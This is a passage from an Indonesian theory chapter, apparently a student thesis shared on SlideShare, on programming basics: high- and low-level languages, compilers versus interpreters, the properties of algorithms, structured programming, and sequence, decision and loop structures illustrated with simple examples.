SlideShare a Scribd company logo
1 of 35
BAB I
                                 LANDASAN TEORI


1.1.        Pemrograman1
            Yang dimaksud dengan program adalah kumpulan instruksi yang
digunakan untuk mengatur komputer agar melakukan suatu tindakan tertentu.
Tanpa program, komputer sesungguhnya tidak dapat berbuat apa-apa. Itulah
sebabnya sering dikatakan bahwa komputer mencakup tiga aspek penting, berupa
perangkat keras (hardware), perangkat lunak (software) yang dalam hal ini berupa
program, dan perangkat akal (brainware) atau orang yang berperan dalam operasi
komputer maupun pengembangan perangkat lunak. Dengan kata lain, program
merupakan salah satu bagian penting pada komputer yang mengatur komputer
agar melakukan aksi yang sesuai dengan yang dikehendaki oleh pembuatnya.
Orang yang membuat program biasa disebut pemrogram (programmer). Adapun
aktivitas yang berhubungan dengan pembuatan program dinamakan pemrograman
(programming).
            Suatu program ditulis dengan mengikuti kaidah bahasa pemrograman
tertentu. Bahasa pemrograman dapat dianalogikan dengan bahasa yang digunakan
manusia (bahasa manusia). Sebagaimana diketahui, ada bermacam-macam bahasa
manusia, seperti bahasa Inggris, bahasa Indonesia ataupun bahasa Batak.
Kumpulan instruksi dalam bahasa manusia yang berupa sejumlah kalimat dapat
anda analogikan dengan suatu program. Manusia dapat mengerjakan suatu
instruksi berdasarkan kalimat-kalimat dan komputer dapat menjalankan suatu
instruksi dengan program.
            Dalam konteks pemrograman, terdapat sejumlah bahasa pemrograman,
seperti Pascal, C, C++, dan BASIC. Secara garis besar, bahasa-bahasa
pemrograman dapat dikelompokkan menjadi:
a.     Bahasa beraras-tinggi (high-level language)
b.     Bahasa beraras-rendah (low-level language)

1
    Abdul Kadir dan Heriyanto, Algoritma Pemrograman (Yogyakarta: Andi, 2005), hal. 2-6
Bahasa beraras-tinggi adalah bahasa pemrograman yang berorientasi
kepada bahasa manusia. Program dibuat dengan menggunakan bahasa
pemrograman yang mudah dipahami oleh manusia, biasanya menggunakan kata-
kata bahasa Inggris; misalnya IF untuk menyatakan “jika” dan AND untuk
menyatakan “dan”. Yang termasuk dalam kelompok bahasa ini adalah bahasa C,
C++, Pascal, dan BASIC.
        Bahasa beraras-rendah adalah bahasa pemrograman yang berorientasi
kepada mesin. Bahasa ini menggunakan kode biner (yang hanya mengenal kode 0
dan 1) atau suatu kode sederhana untuk menggantikan kode-kode tertentu dalam
menggantikan sistem biner. Yang tergolong dalam kelompok bahasa ini adalah
bahasa mesin dan bahasa rakitan. Bahasa-bahasa seperti ini sangat sulit untuk
dipahami oleh orang awam dan sangat membosankan bagi pemrogram yang sudah
terbiasa dengan bahasa beraras tinggi. Pemrogram harus benar-benar menguasain
operasi komputer secara teknis. Pemrogram harus benar-benar menguasai operasi
komputer secara teknis. Namun bahasa generasi ini memberikan eksekusi
program yang sangat cepat. Selain itu bahasa mesin sangat bergantung pada mesin
(machine dependent); Artinya, bahasa mesin antara satu mesin dengan mesin yang
lain jauh berbeda.
        Program yang ditulis dalam bahasa pemrograman seperti C dan C++
sebenarnya tidak dimengerti oleh komputer secara langsung, sebab komputer
hanya mengenal bahasa khasnya saja yang dinamakan bahasa mesin, yakni bahasa
yang hanya mengenal kode 0 dan 1. Supaya program dapat dijalankan
(dieksekusi) oleh komputer, program tersebut harus diterjemahkan terlebih dulu
ke dalam bahasa mesin (atau biasa disebut sebagai kode objek). Proses
penerjemahnya dilakukan oleh program yang disebut translator (penerjemah).
Translator dapat berupa interpreter dan kompiler.
        Interpreter menerjemahkan instruksi selama program diminta untuk
dieksekusi. Jika seseorang bermaksud menjalankan program tersebut (agar dapat
dijalankan oleh komputer), mula-mula kode sumber (source code atau program
asli yang ditulis oleh pemrogram) diterjemahkan dulu kedalam bentuk kode mesin
perbaris instruksi. Setelah satu baris instruksi tersebut dipahami oleh komputer,
instruksi tersebut dijalankan. Interpreter kemudian kembali memproses baris
instruksi berikutnya. Berbeda dengan interpreter, kompiler menerjemahkan
instruksi kedalam kode objek secara keseluruhan (untuk semua instruksi). Setelah
semua instruksi diterjemahkan, instruksi yang telah dimengerti oleh komputer
dijalankan. Proses penerjemah seperti itu disebut kompilasi. Setelah kompilasi
berakhir, kompiler tidak diperlukan lagi, sebab sesudah kompilasi akan terbentuk
program yang executable (dapat dijalankan secara langsung tanpa melalui
translator).
             2
                 Bahasa pemrograman juga dapat diklasifikasikan menjadi bahasa
prosedural dan bahasa deklaratif. Pada bahasa prosedural, pemrogram perlu
menuliskan instruksi-instruksi yang rinci agar komputer dapat melaksanakan
tugasnya. Pendekatan prosedural terdapat pada bahasa-bahasa pemrograman
seperti C, Pascal dan BASIC. Pada bahasa deklaratif (non-prosedural), untuk
mendapatkan sesuatu hasil, seorang pemrogram tidak perlu memberitahukan
secara detail tentang bagaimana mendapatkannya. Pendekatan deklaratif antara
lain diterapkan pada bahasa seperti Prolog (bahasa untuk menangani kecerdasan
buatan).
             Klasifikasi yang lain berupa bahasa yang berorientasi pada objek atau
tidak berorientasi pada objek. Bahasa pemrograman yang berorientasi objek
adalah bahasa pemrograman yang memungkinkan untuk mengemas suatu
prosedur dan data dalam suatu wadah yang disebut kelas. Kelas inilah yang
menjadi cetakan bagai objek-objek. Model pemrograman pada seperti ini telah
menjadi tren bahasa-bahasa pemrograman baru pada masa kini. Keuntungannya,
kode yang telah dibuat dapat dikembangkan dengan mudah. Sifat ini dikenal
dengan sebutan reusability. Termasuk dalam bahasa yang berorientasi objek
adalah C++. Adapun C adalah contoh bahasa pemrograman yang tidak
berorientasi pada objek.
             Orang membuat program biasanya bertujuan untuk menyelesaikan
masalah. Namun sebelum dapat menyelesaikan masalah dengan program, terdapat
tiga langkah penting yang perlu dilakukan terlebih dulu.

2
    Ibid,. hal. 8-12
1.      Menganalisis masalah dan membuat algoritma,
        Proses pertama, menganalis masalah dan membuat algoritma memang tidak
dapat begitu saja diwujudkan. Pengalaman, pengetahuan, kreativitas, imajinasi,
dan kelihaian merupakan faktor-faktor yang menentukan sekali keberhasilan
langkah ini. Didalam analisis masalah diperlukan tindakan untuk mengidentifikasi
informasi yang menjadi keluaran pemecahan masalah dan data-data yang menjadi
masukan.
        Berdasarkan hal itu diperlukan prosedur untuk mengolah masukan tersebut
menjadi keluaran yang dikehendaki. Seperti yang telah dijelaskan, komputer tidak
akan berarti apa-apa tanpa adanya langkah detail yang menyusun prosedur.
Langkah detail yang ditujukan untuk komputer guna menyelesaikan suatu
masalah inilah yang disebut algoritma. Namun yang disebut algoritma ini berbeda
dengan program, karena algoritma secara teoritis bersifat bebas dari bahasa
pemrograman.
             Algoritma tidak selamanya dinyatakan dalam bahasa manusia. Kadang-
kadang dinyatakan dalam bentuk pseudokode (pseudocode), yaitu suatu bentuk
algoritma yang menggunakan berbagai notasi yang dimaksudkan untuk
menyederhanakan bentuk kalimat manusia. Ada kalanya suatu algoritma disajikan
dalam bentuk diagram alir (flowchart). Diagram alir adalah suatu standar untuk
menggambarkan urutan langkah dalam suatu proses. Setiap langkah dalam
algoritma dinyatakan dengan sebuah simbol dan aliran setiap langkah (dari suatu
langkah ke langkah lain) dinyatakan dengan garis yang dilengkapi panah.
             3
                 Dalam praktik sekali pemrogram menyelesaikan persoalan dengan
menggabungkan algoritma-algoritma yang pernah dibuat oleh orang lain. Sebagai
contoh, didalam mengurutkan sekumpulan data, pemrogram dapat menggunakan
algoritma seperti quick sort ataupun insertion sort. Algoritma-algoritma seperti itu
banyak diulas dalam buku-buku yang membahas masalah algoritma, struktur data,
dan pemrograman. Oleh karena itu, selain harus memiliki kemampuan dasar
dalam membuat algoritma, seorang pemrogram juga perlu mengetahui berbagai


3
    Ibid,. hal. 14-17
algoritma yang pernah dibuat orang supaya penyelesaian masalah dapat dilakukan
secara optimal.
2.   Menuangkan algoritma kedalam bentuk program,
     Langkah menuangkan algoritma kedalam programditentukan oleh faktor
     bahasa pemrograman yang akan digunakan. Dengan kata lain, untuk
     menuangkan algoritma ke program, pemrogram harus tahu seluk beluk
     bahasa pemrograman yang digunakan.
3.   Mengeksekusi dan menguji program.
     Setelah program dibuat dan dikompilasi, program perlu dijalankan untuk diuji
     kebenarannya. Ada beberapa kemungkinan kesalahan yang terjadi sewaktu
     proses kompilasi hingga pengeksekusian program.
     a.   Kesalahan sintaksis, disebabkan adanya kesalahan dalam menuliskan
          program yang tidak sesuai dengan kaidah bahasa pemrograman. Contoh,
          suatu pernyataan C ataupun C++ tidak diakhiri dengan titik-koma,
          sementara kaidah bahasa C dan C++ mengharuskan setiap pernyataan
          diakhiri dengan titik-koma. Kesalahan sintaksis terdeteksi sewaktu
          kompilasi bila digunakan kompiler C atau C++, tetapi dapat jadi
          terdeteksi pada saat eksekusi pada bahasa pemrograman yang
          berorientasi pada interpreter (misalnya pada interpreter BASIC).
     b.   Kesalahan logika, kesalahan yang terjadi karena ada logika yang salah.
          Misalnya, kita menuliskan 31.4 untuk menyatakan phi, padahal yang
          betul adalah 3.14. Akibatnya, hasil yang didapatkan tidak benar.
          Kesalahan seperti ini terkadang sulit untuk dideteksi terutama kalau
          program sangat kompleks.
     c.   Kesalahan runtime atau kesalahan fatal, kesalahan yang terjadi karena
          suatu operasi dalam program tidak dapat dilakukan oleh komputer.
          Sebagai contoh, jika terdapat operasi pembagian dengan nol, maka suatu
          pesan kesalahan akan ditampilkan dan eksekusi program dihentikan.
          Didalam terminologi program terdapat istilah yang dinamakan bug (kutu)
yang menyatakan suatu kesalahan pada program. Pencarian kutu seringkali sulit
dilakukan dan memakan waktu. Ibarat mencari jarum dalam tumpukan jerami.
Untuk menangani hal seperti itu pemrogram terkadang memanfaatkan peranti
yang dinamakan debugger, yaitu perangkat lunak yang ditujukan untuk
mempermudah dalam mencari kesalahan (kutu) dalam program. Adapun proses
untuk mencari kesalahan dan membetulkannya biasa disebut debugging.
             4
                 Proses semacam algoritma sebenarnya dapat dijumpai dalam kehidupan
sehari-hari. Jika kita membaca resep makanan, kita akan melihat prosedur
membuat masakan, selain bahan-bahan yang digunakan. Prosedur dalam resep
seperti itu sebenarnya menyatakan semacam algoritma. Dengan mengikuti
langkah-langkah yang diberikan, kita dapat membuat masakan tersebut. Dalam
pengertian sekarang, algoritma mempunyai kesamaan tidak hanya dengan resep
(masakan), tetapi juga dengan proses, metode, atau prosedur. Misalnya
memperlihatkan suatu prosedur untuk memanaskan makanan kedalam pemasak
microwave.
1.      Taruhlah makanan dalam wadah yang aman untuk microwave
2.      Tutuplah pintu microwave dengan rapat
3.      Tancapkan steker ke stop kontak
4.      Putarlah knop ke posisi 5 menit
5.      Tunggu sampai lampu mati dan ada bunyi „ting‟
6.      Lepaskan steker dari stop kontak
7.      Bukalah pintu pemasak microwave dan keluarkan wadah yang berisi makanan
        tersebut.
             Prosedur tersebut merupakan suatu urutan yang memandu orang untuk
melakukan suatu proses. Namun ada perbedaan antara algoritma dan prosedur.
Prosedur biasanya bersifat global dengan mengasumsikan bahwa manusia telah
mengetahui rincian langkah-langkah tertentu. Sebagai contoh, perhatikan prosedur
berikut:
1.      Ambil 5 buah kartu
2.      Urutkan kartu tersebut




4
    Ibid,. hal. 40-42
Pada langkah kedua, manusia dapat mengurutkan kartu tersebut dengan
mudah tanpa harus diberi tahu caranya. Namun hal seperti itu tidak dapat
diterapkan pada komputer. Jika komputer mengenal lima buah data dan kita
mengharapkan komputer untuk mengurutkannya, kita harus memberitahu secara
detail bagaimana cara mengurutkannya. Itulah sebabnya didalam ilmu komputer
terdapat berbagai algoritma yang ditujukan untuk mengurutkan data, seperti
Bubble sort, Insertion sort, dan Quick sort. Algoritma-algoritma ini menjamin
bahwa setiap langkah tersebut dapat dikerjakan oleh komputer.
         Sejauh ini tidak ada standarisasi tentang bagaimana menyusun algoritma.
Secara prinsip, kita mempunyai kebebasan untuk menyusun bentuk suatu
algoritma. Kita dapat menggunakan kata-kata dalam bahasa manusia, pseudokode,
atau bahkan diagram alir untuk mewujudkan suatu algoritma. Kita juga
menggunakan cara-cara kita sendiri untuk menuliskan sutu algoritma dengan
memegang teguh konsistensi.
         Walaupun begitu ada beberapa hal yang perlu diperhatikan dalam
menyusun suatu algoritma. Menurut Knuth (1973, hal. 4) dan juga Horowitz
(1999, hal. 1), ada 5 ciri-ciri penting yang harus dimiliki sebuah algoritma, yaitu
berupa finiteness, definiteness, masukan, keluaran, dan efektivitas.
1.   Finiteness, menyatakan bahwa suatu algoritma harus berakhir untuk semua
     kondisi setelah memproses sejumlah langkah.
2.   Definiteness, menyatakan bahwa setiap langkah harus dinyatakan dengan
     jelas (tidak rancu atau mendua arti)
3.   Masukan, setiap algoritma mempunyai satu atau beberapa masukan. Masukan
     merupakan suatu besaran yang diberikan diawal sebelum algoritma diproses.
4.   Keluaran, setiap algoritma memiliki keluaran, entah hanya sebuah keluaran
     atau banyak keluaran. Keluaran merupakan besaran yang mempunyai kaitan
     atau hubungan dengan masukan.
5.   Efektivitas, setiap algoritma diharapkan bersifat efektif, dalam arti semua
     operasi yang dilaksanakan oleh algoritma harus sederhana dan dapat
     dikerjakan dalam waktu yang terbatas. Secara prinsip, setiap instruksi dalam
algoritma dapat dikerjakan oleh orang dengan hanya menggunakan kertas dan
       pensil.
            Menurut Cormen dkk (1994, hal.2), sebuah algoritma dikatakan benar,
untuk berbagai ragam masukan, jika algoritma berakhir dengan keluaran yang
benar. Pada keadaan seperti ini algoritma menyelesaikan masalah komputasi yang
diberikan. Selain ketentuan-ketentuan yang tekah disebutkan, patut pula
ditekankan disini untuk selalu menghindari langkah yang merujuk kelangkah lain.
            5
                Kehadiran komputer memang sangat membantu menyelesaikan segala
permasalahan yang manusia miliki. Tetapi untuk berkomunikasi dengan
komputer, manusia memerlukan suatu bahasa yang dapat dimengerti oleh
komputer sehingga komputer akan memahami sebenarnya apa yang dimaksud.
Sarana komunikasi yang menjembatani hubungan antara manusia dengan
komputer yang dalam hal ini adalah mesin disebut disebut bahasa komputer.
Dengan bahasa ini, komputer akan mampu memahami dan mengerti perintah-
perintah yang diberikan. Bahasa komputer ini sering disebut juga sebagai bahasa
pemrograman komputer. Adapun maksud dari bahasa pemrograman komputer
adalah suatu prosedur atau tata cara penulisan program, yang dalam hal ini adalah
kata, ekspresi, pernyataan atau kombinasi semuanya yang disusun dan dirangkai
dan berupa urutan langkah-langkah untuk menyelesaikan masalah.
            Pada bahasa pemrograman komputer terdapat beberapa faktor yang harus
diperhatikan yaitu sintaksis, semantik dan kebenaran logika. Sintaksis adalah tata
bahasa yang digunakan dalam program. Semantik adalah maksud yang dikandung
dalam setiap pernyataan yang ada dalam program. Kebenaran logika berhubungan
dengan benar tidaknya urutan pernyataan yang ada dalam program.
            Dalam menulis program dengan menggunakan suatu bahasa komputer,
ada kemungkinan terjadi kesalahan baik itu pada sintaksis, semantik atau
kebenaran logika. Kesalahan sintaksis akan langsung kelihatan, karena komputer
akan menampilkan pesan kesalahan. Sedangkan untuk kesalahan semantik
biasanya terjadi karena kekurang pahaman terhadap setiap pernyataan yang


5
    Andri Kristant, Algoritma Pemrograman C++ (Yogyakarta: Graha Ilmu, 2003), hal. 1-16
dituliskan pada program, sehingga walaupun program bisa berjalan tetapi tidak
seperti yang dikehendaki. Untuk kesalahan logika merupakan kesalahan dalam
mengimplementasikan masalah yang dihadapi, sehingga program yang ditulis
tidak benar secara logika.
         Bahasa pemrograman komputer pada intinya dikelompokkan menjadi 2
bagian yaitu bahasa pemrograman tingkat rendah (low level programming
language) dan bahasa pemrograman tingkat tinggi (high level pemrogramming
language). Bahasa pemrograman tingkat rendah biasanya sulit dipahami karena
berhubungan dengan mesin komputer itu sendiri. Salah satu contoh bahasa
pemrograman tingkat rendah adalah bahasa assembler. Program yang ditulis
dengan bahasa Assembler terdiri dari label; kode mnemonic dan lain sebagainya,
pada umumnya dinamakan sebagai program sumber (source code) yang belum
bisa diterima oleh prosessor untuk dijalankan sebagai program, tapi harus
diterjemahkan dulu menjadi bahasa mesin dalam bentuk kode biner. Kode biner
disini dilambangkan dengan angka 0 dan 1. Kita tidak akan membahas bahasa
assembler ini.
         Bahasa pemrograman tingkat tinggi merupakan bahasa pemrograman
yang memakai kata-kata dan pernyataan yang mudah dimengerti manusia,
meskipun masih jauh berbeda dengan bahasa manusia sesungguhnya. Adapun
contoh dari bahasa pemrograman tingkat tinggi adalah pascal dan C. Dalam buku
ini akan digunakan bahasa C khususnya C++.
         Proses menulis program didalam komputer tidak sekedar hanya menulis
suatu urutan instruksi untuk dikerjakan oleh komputer melainkan untuk
memecahkan suatu permasalahan dengan mencari alternatif solusi yang terbaik
untuk dipilih.
         Ada 4 hal yang harus diperhatikan dalam proses pemecahan masalah
sebelum diimplementasikan dalam sebuah program, yaitu:
1.   Menganalisa dan memahami suatu permasalahan dan dibuat suatu algoritma,
     dimana algoritma merupakan pola pikir terstruktur yang berisi tahap-tahap
     penyelesaian suatu permasalahan.
2.   Membuat sutu kode dari algoritma yang telah dibuat kedalam pernyataan-
     pernyataan yang sesuai dengan bahasa pemrograman yang dipakai.
3.   Testing dan Debugging. Testing merupakan proses menjalankan program
     secara rutin untuk menemukan kesalahan-kesalahan dalam program dan
     kesalahan yang ditemukan diperbaiki sampai tidak muncul kesalahan lagi.
4.   Melakukan     dokumentasi   terhadap   setiap   langkah   yang   dilakukan.
     Dokumentasi ini sangat penting untuk mengembangkan program selanjutnya.
         Permasalahan yang dihadapi akan dicari solusi dan diimplementasikan
dalam suatu bahasa pemrograman dengan komputer. Kondisi semacam ini
dinamakan dengan pemrograman. Lebih khusus lagi dalam mengimplementasikan
urutan langkah dalam penyelesaian suatu masalah, kita menggunakan bentuk dan
rancang bangun yang mudah dipahami, tidak berbelit-belit, sederhana dan dapat
dikembangkan siapa saja. Konsep ini dinamakan pemrograman terstruktur.
         Adapun ciri-ciri atau karakteristik dari pemrograman terstruktur adalah
sebagai berikut;
1.   Mempunyai teknik pemecahan permasalahan yang tepat dan benar.
2.   Memiliki algoritma pemecahan masalah yang sederhana dan efisien dalam
     memecahkan masalah.
3.   Teknik penulisan program memiliki struktur logika yang benar dan mudah
     dipahami.
4.   Membutuhkan biaya testing yang rendah.
5.   Memiliki dokumentasi yang baik.
         Setelah kita memahami konsep pemrograman terstruktur, tentu akan
mudah dalam penyusunan dan pembuatan suatu program. Beberapa langkah yang
harus diperhatikan oleh pemrogram sebelum mengimplementasikan suatu
permasalahan dalam program adalah;
1.   Mendefinisikan masalah
     Tujuan dari mendefinisikan masalah adalah untuk memahami permasalahan
     secara mendalam. Langkah ini akan berkaitan dengan apa yang akan
     diinputkan pada program, perintah-perintah apa yang akan digunakan dan
     bagaimana bentuk outputnya. Jadi harus dipahami benar-benar permasalahan
yang ada. Salah asumsi tentang masalah yang ada, akan berakibat program
     yang dibuat tidak sesuai yang dikehendaki.
2.   Mencari solusi untuk masalah
     Setelah dipahami permasalahan yang ada baik itu masukan atau input,
     perintah yang digunakan atau keluaran tau output yang diinginkan baru dicari
     jawaban atau solusi untuk memecahkan masalah sehingga masalah tersebut
     dapat terselesaikan dengan baik. Apabila masalah yang dihadapi terlalu besar,
     kita dapat membagi menjadi beberapa modul yang dapat memudahkan untuk
     menyelesaikan masalah. Modul tersebut dinamakan fungsi. Misalkan ada
     suatu permasalahan sebagai berikut: Buatlah program untuk menghitung luas
     dan keliling persegi panjang. Dalam hal ini, ada beberapa hal yang diketahui
     yaitu bagian mana saja yang menjadi input, proses yang dilakukan apa saja
     dan outputnya apa saja. Sesuai permasalahan tersebut dapat ditentukan:
     a.   Untuk mencari luas dan keliling persegi panjang, kita harus memahami
          bentuk persegi panjang itu sendiri, kemudian dalam persegi panjang ini
          apa saja yang terkait. Untuk persegi panjang ini, untuk mencari luas dan
          keliling harus diketahui panjang dan lebar.
     b.   Input yang akan dimasukkan adalah panjang dan lebar.
     c.   Proses atau perintah untuk mencari luas dan keliling persegi panjang
          Adalah dengan rumus: luas = panjang*lebar dan keliling=2*(panjang +
          lebar)
     d.   Output yang diharapkan adalah luas dan keliling, dimana perhitungannya
          sudah ditentukan.
3.   Memilih teknik pemecahan masalah dan algoritma
     Dalam pemecahan masalah memerlukan suatu teknik pemecahan masalah
     yang tepat. Dalam hal ini nanti akan dituangkan dalam suatu algoritma.
     Algoritma dibuat dengan tujuan untuk menyelesaikan suatu masalah.
     Algoritma tidak bisa sekali jadi, tetapi akan dikaji berulang-ulang sampai
     diperoleh algoritma yang tepat, benar dan relevan. Algoritma harus memiliki
     kebenaran secara logika, sehingga siap diimplementasikan dalam program.
Misalkan dari permasalahan luas dan keliling persegi panjang, dapat dibuat
     suatu algoritma berikut ini:
     a.   Tentukan variabel dan tipe data yang digunakan. Misalnya untuk
          panjang, lebar, luas, dan keliling bertipe integer.
     b.   Masukkan input yaitu panjang dan lebar.
     c.   Lakukan proses pencarian luas dan keliling Luas=panjang*lebar Keliling
          = 2*(panjang + lebar)
     d.   Tampilan luas dan keliling persegi panjang.
4.   Menulis program
     Pada langkah ini akan dituliskan program dalam suatu bahasa pemrograman
     kedalam komputer untuk memecahkan masalah yang ada.
5.   Melakukan testing dan debugging
     Setelah program selesai ditulis, maka langkah selanjutnya yang harus
     dilakukan testing dan debugging. Testing merupakan proses menjalankan
     program secara rutin untuk menemukan kesalahan-kesalahan dalam penulisan
     suatu pernyataan dalam program. Sedangkan debugging adalah proses
     menemukan kesalahan-kesalahan dalam program dan kesalahan yang
     ditemukan diperbaiki sampai tidak muncul kesalahan lagi. Sebab sering
     terjadi kasus yang berbeda antara satu program dengan program yang lain.
     Langkah menulis program dan melakukan testing maupun debugging bisa
     dilakukan berulang-ulang sampai program berjalan sesuai dengan yang
     diharapkan.
6.   Melakukan dokumentasi
     Secara umum dokumentasi merupakan catatan dari setiap langkah pekerjaan
     dalam pembuatan program, yang dilakukan dari awal sampai akhir.
     Dokumentasi ini sangat penting dalam melakukan penelusuran jika terjadi
     kesalahan dan penting untuk pengembangan program.Selain itu dokumentasi
     akan memberikan informasi yang cukup memadai sehingga orang lain akan
     dapat mengerti dan memahami alur logika program yang dibuat.
     Dokumentasi merupakan hal yang sangat penting dalam program, sebab
     dokumentasi ini akan memperjelas maksud dari setiap pernyataan yang ada
pada program. Dokumentasi biasanya berupa komentar-komentar pada setiap
       baris program. Komentar tersebut biasanya memperjelas setiap pernyataan
       pada setiap atau beberapa baris program.
       Dalam pemberian komentar, ada beberapa hal yang harus diperhatikan yaitu:
a)     Komentar jangan terlalu panjang
b) Komentar harus jelas maksudnya
c)     Komentar diletakkan pada tempat yang tepat
d) Keterangan yang ditulis harus logis
e)     Tidak menimbulkan salah pengertian
7.     Melakukan pemeliharaan
           Langkah terakhir dalam pembuatan sebuah program adalah melakukan
perawatan. Hal ini perlu dilakukan karena kemungkinan munculnya kesalahan
diluar dugaan atau biasanya pengguna meminta fasilitas yang baru dalam
program.


1.2.       Algoritma
           Algoritma merupakan pola pikir yang terstruktur yang berisi tahap-tahap
penyelesaian suatu masalah, yang nantinya akan diimplementasikan kedalam
suatu bahasa pemrograman.
           Biasanya dalam program,algoritma digunakan untuk tiga struktur
program yaitu:
1.     Struktur urut (sequence structure)
       Struktur ini terdiri dari pernyataan atau beberapa pernyataan yang tidak
       mempunyai perulangan atau keputusan didalamnya. Berikut ini adalah
       algoritma untuk memecahkan masalah dalam program untuk struktur urut.
       Misalkan kita diminta untuk membuat algoritma dan program untuk
       menghitung luas dan volume suatu balok. Adapun rumus luas dari balok
       adalah Luas = (2*p*l) + (2*l*t), sedangkan volume balok adalah Volume =
       p*l*t. Catatan: p adalah panjang, l adalah lebar, dan t adalah tinggi.
Algoritma dari permasalahan tersebut adalah:
     a. Masukkan panjang
     b. Masukkan lebar
     c. Masukkan tinggi
     d. Luas = (2*panjang*lebar) + (2*panjang*tinggi) + (2*lebar*tinggi)
     e. Volume = panjang*lebar*tinggi
     f. Tampilkan luas
     g. Tampilkan volume
     Keterangan dari algoritma diatas adalah: pada baris pertama, kedua dan
     ketiga, kita diminta untuk memasukkan input yang berkaitan dengan balok
     yaitu panjang, lebar dan tinggi. Adapun panjang balok disimpan pada variabel
     panjang, lebar balok disimpan pada variabel lebar dan tinggi balok disimpan
     pada variabel tinggi. Sedangkan pada baris keempat dan kelima, kita diminta
     memasukkan rumus luas dan volume balok, yaitu luas = (2*panjang*lebar) +
     (2*panjang*tinggi) + (2*lebar*tinggi) dan Volume = panjang*lebar*tinggi.
     Untuk luas balok disimpan pada variabel luas dan volume balok disimpan
     pada variabel volume. Dan baris keenam dan ketujuh merupakan hasil dari
     proses input dan proses perhitungan dari variabel input yang dimasukkan dan
     nantinya akan ditampilkan luas dan volume balok.
2.   Struktur keputusan (decision structure)
     Struktur pengambilan keputusan (decision) digunakan untuk memilih salah
     satu alternatif jawaban yang tepat dari pilihan yang ada. C++ menyediakan
     dua perintah pengambilan keputusan yaitu perintah IF dan perintah SWITCH.
     Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam
     program untuk struktur keputusan. Misalkan kita diminta untuk membuat
     algoritma dan program untuk menghitung total pembayaran dari pembelian
     seorang pelanggan toko. Dalam masalah ini ada ketentuan, apabila pembelian
     pelanggan tersebut sama dengan atau melebihi 100000, maka pelanggan
     tersebut mendapat discount 10%, jika tidak pelanggan tersebut hanya
     mendapat discount 5%. Algoritma dari permasalahan tersebut adalah:
a. Masukkan pembelian
     b. Jika pembelian >=100000, discount=10%*pembelian
     c. Total=pembelian-discount
     d. Jika pembelian <100000, discount=5%*pembelian
     e. Total=pembelian-discount
     f. Tampilkan pembelian
     g. Tampilkan discount
     h. Tampilkan total pembayaran
     Keterangan dari algoritma tersebut adalah: Pada baris pertama, kita diminta
     untuk memasukkan input yang berkaitan dengan permasalahan diatas yaitu
     pembelian. Adapun pembelian tersebut disimpan pada variabel beli. Pada
     baris kedua, akan dilakukan pengujian dan pengecekan pembelian yang
     dimasukkan yaitu apabila pembelian pelanggan tersebut sama dengan atau
     melebihi 100000 atau tidak. Jika jawabannya ya, maka pelanggan tersebut
     mendapat discount 10% dan untuk menghitung total pembayarannya =
     pembelian discount. Untuk discount disimpan dalam variabel disc dan total
     pembayaran disimpan dalam variabel total. Jika jawabannya tidak, maka baris
     yang akan dikerjakan dalam program adalah baris keempat dan kelima yaitu
     pelanggan tersebut hanya mendapat discount 5% dan menghitung total
     pembayaran dengan rumus = pembelian-discount. Selanjutnya pada baris
     keenam sampai kedelapan, akan ditampilkan pembelian, discount dan total
     pembayaran.
3.   Struktur perulangan (Looping Structure).
     Struktur perulangan (looping) digunakan untuk melakukan suatu proses
     secara berulang-ulang, jika suatu kondisi dipenuhi atau sebaliknya. Pada
     prakteknya, proses perulangan biasanya digunakan untuk beberapa hal,
     misalnya: mengulang proses pemasukan data, mengulang proses perhitungan
     dan mengulang proses penampilan hasil pengolahan data.
     Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam
     program untuk struktur perulangan. Misalkan kita diminta untuk membuat
     algoritma dan program untuk menampilkan bilangan dari 10 sampai 1 secara
menurun, yaitu 10,9,8,7,6,5,4,3,2,1. Algoritma dari permasalahan tersebut
    adalah:
    a.   Tentukan nilai awal, batas dan penurunan nilai
    b.   Lakukan perulangan sampai batas terpenuhi
    c.   Tampilkan bilangan
    Keterangan dari algoritma diatas adalah: pada baris pertama, kita diminta
    untuk mendefinisikan variabel bilangan dalam hal ini disimpan dalam
    variabel n. Adapun nilai awal n adalah 10. Kemudian batas dari bilangan
    adalah n>0. Karena yang akan ditampilkan bilangan secara menurun maka
    bilangan awal dikurangi satu persatu. Dalam C++, penulisannya adalah n--.
    Pada baris kedua, proses perulangan dimulai, n dimulai dari 10, karena 10>1
    maka perulangan dilakukan serta proses penurunan berjalan yaitu 10-1=9.
    Seterusnya, perulangan dilakukan sampai n=0. Apabila nilai n=0, maka
    proses perulangan dihentikan dan langkah selanjutnya akan turun kebaris
    ketiga yaitu menampilkan semua bilangan dalam perulangan tersebut.
         Salah satu konsep yang penting dalam bahasa pemrograman C++ adalah
struktur. Struktur merupakan suatu bentuk susunan dari suatu program yang
dibuat. Program C++ merupakan program yang berbentuk fungsi-fungsi. Main ()
merupakan nama dari suatu fungsi yang harus ada di program C++ dan diletakkan
dibagian tertentu yang menunjukkan kepada compiler dimana awal dari suatu
program. Selain itu main () ini hanya dapat digunakan sekali saja dalam suatu
program. Dapat jugaa dikatakan bahwa setiap program C harus mengandung
fungsi main () agar dapat diproses.
         Tanda brance pembuka “{“ yang diletakkan dibawah nama fungsi main ()
menunjukkan tanda awal dari perintah-perintah yang akan ditulis atau tanda “{“
merupakan awal dari function body atau fungsi blok. Tanda brance penutup “}”
menunjukkan akhir dari suatu fungsi blok. Suatu program C++ dapat terdiri lebih
dari satu fungsi. Pada program sederhana diatas hanya terdiri dari sebuah tubuh
fungsi. Suatu tubuh fungsi dapat berisi beberapa fungsi, sedangkan suatu fungsi
dapat dibuat dari satu atau lebih statement atau library function (fungsi pustaka)
yang sudah tersedia. Pada contoh program diatas, perintah printif adalah fungsi
pustaka yang dipergunakan untuk menampilkan hasil.
         6
             Bagian pertama program Java adalah mengidentifikasi lingkungan
informasi. Untuk melakukan hal ini, susunan program Java menetapkan suatu
kelas atau paket yang akan menjadi sebutan di dalam program itu. Disini,
informasi bantuan yang ditetapkan sebagai statement „import‟. Dalam suatu
program, statement import yang digunakan bisa lebih dari satu. Sebagai contoh,
salah satu statement import yang biasanya digunakan dalam program adalah
import java.awt.*; Statement import tersebut mengimport paket „awt‟, yang mana
digunakan untuk membuat obyek GUI. Disini, java merupakan nama folder, yang
mana didalamnya berisi paket „awt‟ itu. Sedangkan simbol „*‟ menandakan
bahwa semua kelas dibawah paket ini tidak dimasukkan.
         Di dalam java, semua kode, mencakup deklarasi fungsi (method) dan
variabel harus dimasukkan dalam suatu kelas. Oleh karena itu, suatu deklarasi
